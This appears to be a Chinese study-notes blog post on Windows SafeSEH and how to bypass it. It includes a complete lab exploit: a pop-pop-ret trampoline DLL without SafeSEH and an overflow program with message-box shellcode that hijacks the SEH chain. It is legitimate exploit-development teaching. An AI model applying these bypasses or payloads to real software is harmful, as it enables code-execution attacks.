OD: SafeSEH

SafeSEH 对异常处理的保护原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

 1 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
 2 Copyright (C) Microsoft Corporation.  All rights reserved.
 3
 4 Dump of file gs.exe
 5
 6 File Type: EXECUTABLE IMAGE
 7
 8   Section contains the following load config:
 9
10             00000048 size
11                    0 time date stamp
12                 0.00 Version
13                    0 GlobalFlags Clear
14                    0 GlobalFlags Set
15                    0 Critical Section Default Timeout
16                    0 Decommit Free Block Threshold
17                    0 Decommit Total Free Threshold
18             00000000 Lock Prefix Table
19                    0 Maximum Allocation Size
20                    0 Virtual Memory Threshold
21                    0 Process Heap Flags
22                    0 Process Affinity Mask
23                    0 CSD Version
24                 0000 Reserved
25             00000000 Edit list
26             00403000 Security Cookie
27             004021C0 Safe Exception Handler Table
28                    1 Safe Exception Handler Count
29
30     Safe Exception Handler Table
31
32           Address
33           --------
34           004017F5  __except_handler4
35
36   Summary
37
38         1000 .data
39         1000 .rdata
40         1000 .reloc
41         1000 .rsrc
42         1000 .text

SafeSEH 机制从 RtlDispatchException() 开始:

1. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
2. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
3. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

 1 BOOL RtlIsValidHandler( handler )
 2 {
 3     if (handler is in the loaded image)      // 在加载模块的内存空间内
 4     {
 5         if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
 6             return FALSE;                    // 程序设置了忽略异常处理
 7         if (image has a SafeSEH table)       // 含有 SafeSEH 表说明程序启用了 SafeSEH
 8             if (handler found in the table)  // 异常处理函数地址在表中
 9                 return TRUE;
10             else
11                 return FALSE;
12         if (image is a .NET assembly with the ILonly flag set)
13             return FALSE;                    // 包含 IL 标志的 .NET 中间语言程序
14     }
15
16     if (handler is on non-executable page)   // 在不可执行页上
17     {
18         if (ExecuteDispatchEnable bit set in the process flags)
19             return TRUE;                     // DEP 关闭
20         else
21             raise ACCESS_VIOLATION;          // 访问违例异常
22     }
23
24     if (handler is not in an image)          // 在可执行页上,但在加载模块之外
25     {
26         if (ImageDispatchEnable bit set in the process flags)
27             return TRUE;                     // 允许加载模块内存空间外执行
28         else
29             return FALSE;
30     }
31     return TRUE;                             // 允许执行异常处理函数
32 }

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

1. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
2. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL   // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
3. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

利用未启用 SafeSEH 的模块绕过 SafeSEH

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

 1 // Windows XP Sp3 & VC++6.0
 2 //     Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project
 3 //     Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining )
 4 // Compile : SEH_NOSafeSEH_JUMP.DLL
 5 //
 6 // SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
 7 //
 8
 9 #include "stdafx.h"
10
11 BOOL APIENTRY DllMain( HANDLE hModule,
12                        DWORD  ul_reason_for_call,
13                        LPVOID lpReserved
14                      )
15 {
16     return TRUE;
17 }
18
19 void jump()
20 {
21     __asm {
22         pop eax
23         pop eax
24         retn
25     }
26 }

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

 1 // safeseh.cpp : Defines the entry point for the console application.
 2 //
 3 // Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008
 4 //
 5 #include "stdafx.h"
 6 #include <string.h>
 7 #include <windows.h>
 8
 9 char shellcode[]=
10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
11 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
12 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
13 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
14 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xEB\x0E\x90\x90\xB6\x11\x12\x11"      // SEH Pointer & Handler
25 "\x90\x90\x90\x90\x90\x90\x90\x90"
26 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
27 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
28 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
29 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
30 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
31 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
32 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
33 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
34 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
35 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
36 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"      // 168 字节的弹窗 shellcode
37 ;
38
39 DWORD MyException(void)
40 {
41     printf("call MyException()");
42     getchar();
43     return 1;
44 }
45
46 void test(char * input)
47 {
48     char str[200];
49     strcpy(str,input);
50
51     int zero=0;
52     __try
53     {
54         zero/=zero;
55     }
56     __except (MyException())
57     {
58     }
59 }
60
61 int main(int argc, _TCHAR* argv[])
62 {
63     HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));
64     printf("hInst : %d\n",hInst);
65     char str[200];
66     //__asm int 3
67     test(shellcode);
68     return 0;
69 }
时间: 2024-12-28 14:44:23

OD: SafeSEH的相关文章

OD: GS Bypasing via SEH

通过 SEH 绕过 GS 保护 GS 机制没对 SEH 提供保护,所以可心通过攻击异常来绕过 GS. 实验环境为: VMware : Windows 2000 sp4, 此版本无 SafeSEH 的影响 Visual Studio 2005 Project Properties : Release, Disable Optimization 代码如下: 1 #include <string.h> 2 char shellcode[]= 3 "\xFC\x68\x6A\x0A\x38\

safeseh+dep保护绕过

[文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       : xp sp3 [工具]              :windbg, immunity Debugger,mona等 ps:这个程序是前两年xx比赛的题目,肯定有朋友玩过了,要求是利用seh进行漏洞利用,同时开启dep保护. 我想,那时我应该在玩泥巴,不知道啥叫crack,fuzz,漏洞挖掘利用等

SEH, SAFESEH相关

1,触发seh异常让目标程序Read/Write无效地址,如果和栈底相邻的内存只读,尝试覆盖超出栈底 2,如何找到(显示)要覆盖的SEHod语法:dd fs:[0]softice语法: dd fs:0 3,覆盖SEH时需要填充的跳转地址需要找一个可以跳转成功的pop ?pop ?retn 的代码地址.od语法:Ctrl+B/L 5? 5? c3softice语法:s -a addr -L length 5? 5? c3其中"5?"代表"58-5F"之间的任意值 4,

[linux命令] od命令

参考网址:http://man.linuxde.net/od 语法 od(选项)(参数) od(选项)(参数) -a:此参数的效果和同时指定"-ta"参数相同: -A:<字码基数>:选择以何种基数计算字码: -b:此参数的效果和同时指定"-toC"参数相同: -c:此参数的效果和同时指定"-tC"参数相同: -d:此参数的效果和同时指定"-tu2"参数相同: -f:select floats -h:此参数的效果和同

od的用法

一.功能 查看非文本文档的内容 二.用法 1.语法 od [-A RADIX] [-t TYPE] 文件名 2.选项与参数 -A: 指定偏移量的输出形式 d[size] :利用十进制(decimal)输出数据,每个整数占用 size bytes ;o[size] :利用八进制(octal)输出数据,每个整数占用 size bytes ;x[size] :利用十六进制(hexadecimal)输出数据,每个整数占用 size bytes ; -t :后面可以接各种类型 (TYPE)的输出 a: 利

OD调试17

程序先出现一个nag 然后出现主窗口 然后出现第二个nag窗口        我们查个壳   没有壳 那就载入OD看看,继续用调用堆栈的方法 发现一直执行用的都是这一个call,最后执行到程序结束.之后往上看见一个跳转,下个断点看看 如果一步一步,一次一次改就完全可以避免了,但是不可能,每一次都打开来改.那我们是不是能够写一段代码if第一次就跳,第二次就不跳,第三次也跳   那我们就想到了inline patch,点M   看看PE,可以在数据段写入 找到一个都是用0填充的 找个地方,储存我们想

OD调试16

今天还是15的那个程序,但是呢,换一种方法去掉NAG窗口 用OD载入,暂停,查看调用的堆栈 先看最后一个    查看调用,下断点 往上看看,找到入口的地方,设下断.点,重载,运行,单步 通过单步发现   它要两次经过很多跳转,第一次的跳转与第二次的还不一样,说明问题出在跳转上,我们可以把有问题的比较靠前的跳转NOP掉.看看,保存看看 发现成功了! 来自为知笔记(Wiz)

OD调试篇12

Delphi的逆向 先看看今天需要破解的程序. 打开程序先出现了一个nag窗口,然后是unregistered未注册的提示,以及关于里的需要注册. 拖进die看了看      就是delphi写的.那我们就用OD打开看看. 老方法,右键查找字符串, 发现了有用的东西,双击进入 我们需要的地方并没有任何跳转,三角形就是有跳转来自什么的. 经过分析,可以利用OD的功能查看下,除了它本身,还有谁调用了照这个命令 发现了还有个东西调用了它 push了东西进去,双击它 我们可以下断点,试试,发现程序没有断

shell学习四十一天----列出文件ls和od命令

列出文件 首先恶臭命令提供简单的方式列出匹配模式的文件: 命令: echo /bin/*sh #显示/bin下的shell 输出:/bin/bash /bin/csh /bin/dash /bin/sh /bin/tcsh 分析:shell将通配符字符模式替换为匹配的文件列表,echo以空格区分文件列表,在单一行上显示他们.echp不会更近一部解释他的参数,因此与文件系统里的文件也没有任何关系. ls命令则比echo能做更多的处理,因为他纸袋自己的参数应该是文件.未提供命令行选项时,ls只会验证